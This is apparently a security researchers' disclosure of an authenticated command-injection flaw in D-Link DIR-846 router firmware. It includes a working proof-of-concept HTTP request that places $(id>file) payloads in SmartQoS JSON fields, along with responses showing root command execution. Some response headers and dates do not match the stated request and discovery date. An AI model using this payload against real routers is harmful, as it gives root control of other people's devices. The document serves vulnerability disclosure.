# D-Link DIR-846 Firmware FW100A53DBR was discovered to contain a remote command execution (RCE) vulnerability via keys smartqos_express_devices and smartqos_normal_devices in SetSmartQoSSettings.

## 1. Vulnerability Information

**Authors**: Françoa Taffarel Rosário Corrêa, Osmany Barros de Freitas and Lourenço Alves Pereira Junior.

**Affiliation**: Aeronautics Institute of Technology (ita.br)

**Common Weakness Enumeration**: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

**Vulnerability Description**: D-Link DIR-846 Firmware FW100A53DBR was discovered to contain a remote command execution (RCE) vulnerability via keys smartqos_express_devices and smartqos_normal_devices in SetSmartQoSSettings.  This vulnerability is exploited via a crafted POST request. Another key is covered by CVE-2023-43284.

**The detail of vulnerability**: The exploitation method involves command injection through Authenticated user input with special characters. In this instance, the SetSmartQoSSettings.php file contains an exec function that uses partially sanitized user input. Specifically, the hazardous input originates from the smartqos_normal_devices and smartqos_express_devices keys in the JSON object of the POST request. The code manipulates these values and, without proper validation, allows the insertion of arbitrary commands.

In practice, an attacker can execute arbitrary commands by sending a malicious payload through a POST request. The content of the HTTP message is JSON-encoded, with the keys smartqos_normal_devices and smartqos_express_devices, which are strings with comma-separated values. Thus, the attacker must insert the malicious payload into one of these values. This leads the web server in the D-Link DIR-846 to invoke exec with a configuration script (presumably something like /etc/init.d/qos restart) on the host system, along with the manipulated values, resulting in the execution of arbitrary commands.

This vulnerability is particularly severe because it exploits the trust in authenticated users' input and the lack of adequate sanitization of data that are subsequently used in an operating system context, potentially giving an attacker control over the network device.

**Vendor of the product**: D-LINK

**Affected product**: DIR-846

**Affected Version**: Firmware DIR846enFW100A53DBR

**Vulnerability Score V3.1**: 

**Dates info**:

Vulnerability discover: 22/11/2023

First try contact with vendor: 22/11/2023 via e-mail

Request CVE ID (VULDB): 23/11/2023

Date Record Created (MITRE): 

First vendor response: 

CVE Assignment Team response: 

Second try contact with vendor: 

CVE published in the CVE List:

## 2. Proof of Concept

**Exploit Title**: D-Link DIR-846 Firmware FW100A53DBR was discovered to contain a remote command execution (RCE) vulnerability via keys smartqos_express_devices and smartqos_normal_devices in SetSmartQoSSettings. (Authenticated)

**Google Dork**: NA

**Date**: 22/11/2023

**Exploit Author**: Françoa Taffarel

**Vendor Homepage**: https://www.dlink.com.br/produto/roteador-dir-846-gigabit-wi-fi-ac1200/#suporte

**Software Link:** https://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip

**Version:** DIR846enFW100A53DBR-Retail

**Tested on:** D-LINK DIR-846

**CVE:**

D-Link DIR-846 Firmware FW100A53DBR was discovered to contain a remote command execution (RCE) vulnerability via keys smartqos_express_devices and smartqos_normal_devices in SetSmartQoSSettings.

### Malicious POST Request
```
POST /HNAP1/ HTTP/1.1
Host: 192.168.1.50
Content-Length: 338
Accept: application/json
HNAP_AUTH: 57C22CB05D65AC03708A1931EC990404 1700700605259
**SOAPACTION: "http://purenetworks.com/HNAP1/SetSmartQoSSettings"**
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://192.168.1.50
Referer: http://192.168.1.50/QoSControl.html?t=1700700591140
Accept-Encoding: gzip, deflate, br
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7,ay;q=0.6
Cookie: PHPSESSID=44f0396bc541d3e4d5f173de1078b6c6; uid=qBFr6ykV; PrivateKey=5C89D2BA6B3C63075D0339A492A3FE4D; timeout=2
Connection: close

{
  "SetSmartQoSSettings": {
    "smartqos_enable": "1",
    "smartqos_upstream_shapingrate": "50001.92",
    "smartqos_downstream_shapingrate": "50001.92",
    "smartqos_type": "by_device",
    "smartqos_priority_devices": "$(id>param_alreadyreported)",
**    "smartqos_express_devices": "$(id>param_not_yet_reported1)",
    "smartqos_normal_devices": "$(id>param_not_yet_reported2)"**
  }
}
```


### Response

```
HTTP/1.1 200 OK
X-Powered-By: PHP/7.1.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
Connection: close
Date: Thu, 01 Dec 2022 11:03:54 GMT
Server: lighttpd/1.4.35
Content-Length: 68

**{"SetIpMacBindSettingsResponse":{"SetIpMacBindSettingsResult":"OK"}}**
```


### Data from RCE Request

```
**GET /HNAP1/param_not_yet_reported1 HTTP/1.1**
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=ljZlHjKV; PrivateKey=846232FD25AA8BEC8550EF6466B168D9; timeout=1
Upgrade-Insecure-Requests: 1
```


### Response

```
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Accept-Ranges: bytes
Content-Length: 24
Connection: close
Date: Thu, 01 Dec 2022 23:24:28 GMT
Server: lighttpd/1.4.35

**uid=0(root) gid=0(root)**
```

### Data from RCE Request

```
**GET /HNAP1/param_not_yet_reported2 HTTP/1.1**
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=ljZlHjKV; PrivateKey=846232FD25AA8BEC8550EF6466B168D9; timeout=1
Upgrade-Insecure-Requests: 1
```


### Response

```
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Accept-Ranges: bytes
Content-Length: 24
Connection: close
Date: Thu, 01 Dec 2022 23:24:28 GMT
Server: lighttpd/1.4.35

**uid=0(root) gid=0(root)**
```